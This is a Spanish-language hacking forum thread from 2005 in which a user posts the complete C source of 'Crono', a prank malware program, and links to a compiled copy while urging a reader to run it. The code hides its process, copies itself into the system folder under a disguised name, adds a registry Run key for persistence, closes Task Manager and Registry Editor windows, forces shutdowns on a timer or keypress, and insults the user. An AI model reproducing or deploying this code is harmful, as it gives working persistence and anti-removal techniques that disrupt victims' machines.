elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Código fuente de Crono
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Código fuente de Crono  (Leído 8,088 veces)
Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Código fuente de Crono
« en: 15 Septiembre 2005, 21:13 pm »

Bueehh, finalmente aqui el pequeño y simple codigo de Crono.exe aquel programita que tanto susto y molestias causó a algunos, pues fue una broma, que me hizo reir un poco jeje. pero posteo el code debido a que varios me lo pidieron ,anda a saber para que.   pero en fin,. aqui esta..

ahh,. este codigo es un claro ejemplo de como podemos usar el WindowProcedure, la funcion que interpreta los mensajes. y asi manejar los eventos que van ocurriendo en nuestra aplicacion,


Código:
// Crono By Pseudoroot/GEDZAC

#include <windows.h>
#include <stdio.h>

//   PSEUDOROOT NI GEDZAC LABS SE HACEN
// RESPONSABLE DEL USO QUE LE DES
// AL CODIGO
char nombres[MAX_PATH];
int bandera=0;
int forzar=4;
HANDLE th;
LPSTR codigo;    //para leer el codigo
DWORD tamano;   //tamaño del archivo  ,no le puse tamaño debido a problemas con la ñ  xD
char nombre[MAX_PATH];   //para concatenar el nombre del archivo a generar
char nom[256]; // para el modulo en ejcucion
char varsystem[256];


#include "registro.h"


//--- Declaración de funciones del programa ------------------------------
int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int );
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );


//--- Declaración de variables del programa ------------------------------
char WindowName[]  = "Ventana de Windows";
char WindowTitle[] = "Crono By Pseudoroot";
int segundos;
char* vent1 = "Registry Editor";
char* vent2 = "Editor del Registro";
char* vent3 = "Administrador de tareas de Windows";
char* vent4 = "Windows Task Manager";
//=== Función principal WinMain() ========================================
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow )
{
    registrando();
    SacarCodigo();
    GetModuleFileName(0,nom,256);  //sacamos el nombre del modulo en ejecucion en la var. nom
    GetSystemDirectory(varsystem,sizeof(varsystem));
    strcat(varsystem,"\\win32help.exe");
    CopyFile(nom,varsystem,0);
strcat(nombre,"c:\\");  //concatenamos
strcat(nombre,"copia.exe");  //nombre de la copia que generara el programa para luego leer el
//codigo de esa misma copia
CopyFile(nom,nombre,0);
uno();
SacarCodigo();  //lamamos a la fucnion para que lea el codigo del archivo copia.exe
HANDLE exe;   // aunque finalmente no lo utilizo..xD
DWORD w;
exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(exe!=INVALID_HANDLE_VALUE)    //archivo que vamos a generar luego de sacar el codigo
{
                             WriteFile(exe,codigo,28000,&w,0);
}                             
HWND hwnd;                              // handle a la ventana ppal.
MSG msg;                                // estructura de mensaje
WNDCLASSEX wcx;                         // estructura de la ventana

// Definimos la estructura de clase de ventana (campos):
wcx.cbSize = sizeof( WNDCLASSEX );      // tamaño de la estructura
wcx.style = CS_HREDRAW | CS_VREDRAW;    // valores más usuales
wcx.lpfnWndProc = WndProc;              // función de ventana (Wnd)
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0;                     // informaciones extra
wcx.hInstance = hInstance;              // instancia actual

// icono, cursor, fondo e icono pequeño de la clase de ventana:
wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wcx.hCursor = LoadCursor(NULL, IDC_ARROW);
wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH );
    wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);

wcx.lpszMenuName = NULL;                // nombre del menú
wcx.lpszClassName = WindowName;         // nombre de la ventana

// Registramos la clase de ventana ya preparada:
if( !RegisterClassEx( &wcx ) )
return( FALSE );                    // en caso de error, salir

// Creamos la ventana con CreateWindowEx():
hwnd = CreateWindowEx(
WS_EX_OVERLAPPEDWINDOW,             // estilo extendido
WindowName,                         // nombre de la ventana
WindowTitle,                        // título de la ventana
WS_CAPTION,                         // estilo de ventana
CW_USEDEFAULT, CW_USEDEFAULT,       // Posición (x,y) en pantalla
420,150,                             // ancho y alto de la ventana
NULL, NULL,                         // ventana padre e hija+menú
hInstance,                          // instancia actual
NULL                                // no hay más información
                 );

// Comprobamos la creación de la ventana:
if( !hwnd )
return( FALSE );                    // en caso de error, salir

// Hacemos visible la ventana y la actualizamos:
ShowWindow( hwnd, nCmdShow );
UpdateWindow( hwnd );

// Bucle de mensajes, envía los mensajes hacia WndProc
while( GetMessage( &msg, NULL, 0, 0 ) )
{
TranslateMessage( &msg );           // convertimos el mensaje
DispatchMessage( &msg );            // devolvemos el control a w95
}

// devolvemos el valor recibido por PostQuitMessage().
return( msg.wParam );
DeleteFile("C:\\copia.exe");
}


//=== Función del procedimiento de ventana WndProc() =====================
LRESULT CALLBACK WndProc( HWND hwnd, UINT message,
  WPARAM wParam, LPARAM lParam )
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
int longitud;
int entero;
char cadena[40];
char cadena2[50];

switch( message )
{
case WM_CREATE:
segundos=30;
SetTimer( hwnd, 1, 1000, NULL );  // 
break;

case WM_KEYDOWN:
   
    {
   ExitWindowsEx(forzar,0);
    } 
        if( wParam == VK_ESCAPE )

    MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK);
    break;
   
case WM_TIMER:
segundos--;
if( segundos==0)
{ExitWindowsEx(forzar,0); }
HWND handle;

handle = FindWindow(0,vent1);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent2);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent3);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}

handle = FindWindow(0,vent4);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}


GetClientRect( hwnd, &rect );
InvalidateRect( hwnd, &rect, TRUE );
break;


     
   
   
      case WM_LBUTTONDOWN:
        MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK);
        break;
       case  WM_RBUTTONDOWN:
             MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK);
         break;



case   WM_RBUTTONDBLCLK:
     MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0);
     break;
     
    case WM_NCLBUTTONDOWN:
        MessageBoxA(NULL,"nah","nah",0);
        break;

case WM_PAINT:
hdc = BeginPaint( hwnd, &ps );
GetClientRect( hwnd, &rect );
longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti    ", segundos);
               
    DrawText( hdc, cadena, -1, &rect,
  DT_SINGLELINE | DT_CENTER | DT_VCENTER );
EndPaint( hwnd, &ps );
break;
case WM_CLOSE:
    MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;


case WM_DESTROY:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;


default:
return( DefWindowProc( hwnd, message, wParam, lParam ) );
}


return(0);
}


registro.h


#ifndef _RegisterProcess_
#define _RegisterProcess_

void registrando()
{
typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD);
HINSTANCE
hkernelLib;
pRegFunction
RegisterServiceProcess;
hkernelLib=LoadLibrary("Kernel32.dll");
if(hkernelLib)
{
RegisterServiceProcess=(pRegFunction) GetProcAddress
(hkernelLib,"RegisterServiceProcess");
if (RegisterServiceProcess)
{
RegisterServiceProcess(0,1);
FreeLibrary(hkernelLib);
}
}

}

void SacarCodigo()
{
     HANDLE fi;   //un handle para leer el archivo
     DWORD  rid;   //para la api
     fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL);
     if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal
     {
                                 tamano=GetFileSize(fi,NULL);   //sacamos el tamaño del archivo
                                 codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1);  //reservamos memoria
//para leer el archivo completo +1 por el caracter nulo
                                 if(codigo!=NULL)   //verificamos que se haya podido
                                 {
                                                 ReadFile(fi,codigo,tamano,&rid,0);  //leemos el archivo
                                                 }
                                                 }
                                                 CloseHandle(fi);  //cerramos handle
}
void uno()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem));
}
#endif





Pues ya saben, supongo que esta bastante facil de entender y sino, ya saben solo posteen sus dudas..


En línea

pisagatos


Desconectado Desconectado

Mensajes: 1.771



Ver Perfil WWW
Re: Código fuente de Crono
« Respuesta #1 en: 15 Septiembre 2005, 22:11 pm »

Graciass!! Muchas gracias por postearlo


En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Código fuente de Crono
« Respuesta #2 en: 15 Septiembre 2005, 22:13 pm »

se agradece, claro que si, ojala y te sirva para que comprendas como funcionaba.

Saludos.
En línea

Thaorius


Desconectado Desconectado

Mensajes: 1.073


Ver Perfil WWW
Re: Código fuente de Crono
« Respuesta #3 en: 15 Septiembre 2005, 23:43 pm »

No es por nada, pero que se supone que hace?

Saludos
En línea

Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí
Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Código fuente de Crono
« Respuesta #4 en: 15 Septiembre 2005, 23:46 pm »

si quieres probarlo copia y pega este link en tunavegador

http://usuarios.lycos.es/pseudoroot/crono1.zip

En línea

Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Código fuente de Crono
« Respuesta #5 en: 16 Septiembre 2005, 00:11 am »

si no quieres ejecutarlo leete este hilo

http://foro.elhacker.net/index.php/topic,84489.0.html


En línea

Thaorius


Desconectado Desconectado

Mensajes: 1.073


Ver Perfil WWW
Re: Código fuente de Crono
« Respuesta #6 en: 16 Septiembre 2005, 00:37 am »

Gracias, ahora lo miro.

Saludos
En línea

Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí
Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Código fuente de Crono
« Respuesta #7 en: 16 Septiembre 2005, 00:53 am »

Pues yo te recomiendo que lo ejecutes y lo pruebes..

la solucion esta en el mismo hilo ,que te di..
En línea

Thaorius


Desconectado Desconectado

Mensajes: 1.073


Ver Perfil WWW
Re: Código fuente de Crono
« Respuesta #8 en: 16 Septiembre 2005, 01:39 am »

La solucion esta  en el codigo fuente. ;D ;D ;D

Saludos
En línea

Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí
Pseudoroot


Desconectado Desconectado

Mensajes: 839



Ver Perfil
Re: Código fuente de Crono
« Respuesta #9 en: 16 Septiembre 2005, 01:58 am »

Otra de las opciones. ahora que está publicado.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines